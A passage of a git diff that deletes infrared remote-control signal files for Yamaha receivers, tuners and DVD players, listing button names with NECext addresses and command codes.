-command: CF 00 00 00 -# -name: NIGHT_MODE:_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CF 00 00 00 -# -name: DSP:_NIGHT_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CF 00 00 00 -# -name: MUSIC_ENHANCER:_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: DSP:_M_ENHAN_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D8 00 00 00 -# -name: MUSIC_ENHANCER:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D9 00 00 00 -# -name: DSP:_M_ENHAN_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: D9 00 00 00 -# -name: INPUT_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DA 00 00 00 -# -name: MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: MUTE_-20DB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: DF 00 00 00 -# -name: DSP_CONC._HALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP:_CONCERT_HALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: E1 00 00 00 -# -name: DSP_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP:_JAZZ_CLUB -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: EC 00 00 00 -# -name: DSP_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP:_MUSIC_VIDEO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F3 00 00 00 -# -name: DSP_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP:_SPORTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F8 00 00 00 -# -name: DSP_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP:_SPECTACLE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: F9 00 00 00 -# -name: DSP_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP:_SCI-FI -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FA 00 00 00 -# -name: DSP_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP:_ADVENTURE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FB 00 00 00 -# -name: DSP_PROLOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: PROLOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: DSP:_PRO-LOGIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FD 00 00 00 -# -name: 5_CH_STEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 -# -name: DSP:_BM_5CHSTEREO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir deleted file mode 100644 index f9338b453..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir +++ /dev/null @@ -1,440 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNER_FM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 27 00 00 00 -# -name: TUNER_AM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 28 00 00 00 -# -name: INPUT_XM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 29 00 00 00 -# -name: TUNER_AUTO_TUNE_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2A 00 00 00 -# -name: TUNER_AUTO_TUNE_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2B 00 00 00 -# -name: XM_ALL_CH_SEARCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2C 00 00 00 -# -name: XM_CAT_SEARCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2D 00 00 00 -# -name: XM_PRESET_SEARCH -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2E 00 00 00 -# -name: Z2_INPUT_XM -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 2F 00 00 00 -# -name: XM_PRESET_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 31 00 00 00 -# -name: XM_PRESET_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 32 00 00 00 -# -name: XM_CAT_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 33 00 00 00 -# -name: XM_SRCH_MODE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 34 00 00 00 -# -name: XM_CAT_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 35 00 00 00 -# -name: XM_MEMORY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 38 00 00 00 -# -name: XM_DISPLAY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 39 00 00 00 -# -name: XM_ENTER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 3F 00 00 00 -# -name: Z2_POWER_OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 63 00 00 00 -# -name: Z2_POWER_ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 64 00 00 00 -# -name: Z2_INPUT_PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 65 00 00 00 -# -name: Z2_INPUT_TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 66 00 00 00 -# -name: Z2_INPUT_CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 67 00 00 00 -# -name: Z2_INPUT_MD/TAPE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6A 00 00 00 -# -name: Z2_INPUT_DTV/CBL -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6C 00 00 00 -# -name: Z2_INPUT_VCR -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6D 00 00 00 -# -name: Z2_INPUT_DVD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 6F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 70 00 00 00 -# -name: Z2_VOLUME_+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 70 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 71 00 00 00 -# -name: Z2_VOLUME_- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 71 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 72 00 00 00 -# -name: Z2_MUTE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 72 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 81 00 00 00 -# -name: INPUT_DTV/CBL -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 84 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 87 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 88 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 89 00 00 00 -# -name: INPUT_MD/TAPE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 8B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 90 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 91 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 93 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: 97 00 00 00 -# -name: XM_0 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A0 00 00 00 -# -name: XM_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A1 00 00 00 -# -name: XM_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A2 00 00 00 -# -name: XM_3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A3 00 00 00 -# -name: XM_4 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A4 00 00 00 -# -name: XM_5 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A5 00 00 00 -# -name: XM_6 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A6 00 00 00 -# -name: XM_7 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A7 00 00 00 -# -name: XM_8 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A8 00 00 00 -# -name: XM_9 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: A9 00 00 00 -# -name: TUNER_PRESET_A -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AC 00 00 00 -# -name: TUNER_PRESET_B -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AD 00 00 00 -# -name: TUNER_PRESET_C -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AE 00 00 00 -# -name: TUNER_PRESET_D -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: AF 00 00 00 -# -name: TUNER_PRESET_E -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: B0 00 00 00 -# -name: TUNER_A-E/CAT.- -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: BB 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: BD 00 00 00 -# -name: TUNER_MEMORY -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: BE 00 00 00 -# -name: SPEAKERS_A_TOGGLE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E7 00 00 00 -# -name: SPEAKERS_B_TOGGLE -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: E8 00 00 00 -# -name: TUNER_PRESET/CH_UP -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F5 00 00 00 -# -name: TUNER_PRESET/CH_DN -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F6 00 00 00 -# -name: TUNER_A-E/CAT.+ -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F7 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F8 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: F9 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FA 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FB 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FC 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FD 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FE 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: 7D 00 00 00 -command: FF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir deleted file mode 100644 index 4c9db6249..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DC1_TRG_CTRL_Z1 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 32 00 00 00 -# -name: DC1_TRG_CTRL_Z2 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 33 00 00 00 -# -name: DC1_TRG_CTRL_ALL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 34 00 00 00 -# -name: DC1_TRG_Z2_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 71 00 00 00 -# -name: DC1_TRG_Z2_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 72 00 00 00 -# -name: DC1_TRG_Z1_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 73 00 00 00 -# -name: DC1_TRG_Z1_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 74 00 00 00 -# -name: Z2_MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A0 00 00 00 -# -name: Z2_MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A1 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: SP_RELAY_A_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AB 00 00 00 -# -name: SP_RELAY_A_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AC 00 00 00 -# -name: SP_RELAY_B_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AD 00 00 00 -# -name: SP_RELAY_B_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AE 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir deleted file mode 100644 index 9c9d6a496..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PRESET_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 10 00 00 00 -# -name: PRESET_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 11 00 00 00 -# -name: ABCDE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 12 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: BANK_A -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E0 00 00 00 -# -name: BANK_B -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E1 00 00 00 -# -name: BANK_C -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E2 00 00 00 -# -name: BANK_D -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E3 00 00 00 -# -name: BANK_E -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E4 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E5 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E6 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E7 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E8 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: E9 00 00 00 -# -name: PRESET_6 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EA 00 00 00 -# -name: PRESET_7 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EB 00 00 00 -# -name: PRESET_8 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: EC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir deleted file mode 100644 index 9db105a37..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir +++ /dev/null @@ -1,56 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: GROUP_1-8/9-16/17-24 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0D 00 00 00 -# -name: 1/9/17 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0E 00 00 00 -# -name: 2/10/18 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 0F 00 00 00 -# -name: 3/11/19 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 10 00 00 00 -# -name: 4/12/20 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 11 00 00 00 -# -name: 5/13/21 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 12 00 00 00 -# -name: 6/14/22 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 13 00 00 00 -# -name: 7/15/23 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 14 00 00 00 -# -name: 8/16/24 -type: parsed -protocol: NECext -address: D1 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir deleted file mode 100644 index e9373b577..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: vocal-assist -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 01 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 03 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 09 00 00 00 -# -name: resume -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 11 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 13 00 00 00 -# -name: KEY_1/all -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 14 00 00 00 -# -name: -v -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 15 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 16 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 17 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 18 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1E 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 40 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 44 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 49 00 00 00 -# -name: pbc -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4C 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 4D 00 00 00 -# -name: t/c_search -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 50 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 54 00 00 00 -# -name: +v -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 55 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 58 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 59 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 20 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir deleted file mode 100644 index ee1a6a889..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: SkipForward -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: Index -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir deleted file mode 100644 index cd2dedb1e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 40 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 43 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 4D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 67 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 68 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 69 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6E 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: 6F 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B0 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: EF 00 00 00 -command: B1 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C0 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C1 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: EF 00 00 00 -command: C2 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D0 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D1 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D2 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D3 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D4 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: EF 00 00 00 -command: D5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir deleted file mode 100644 index 0148353c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TapePlay -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 00 00 00 00 -# -name: TapeRewind -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 01 00 00 00 -# -name: 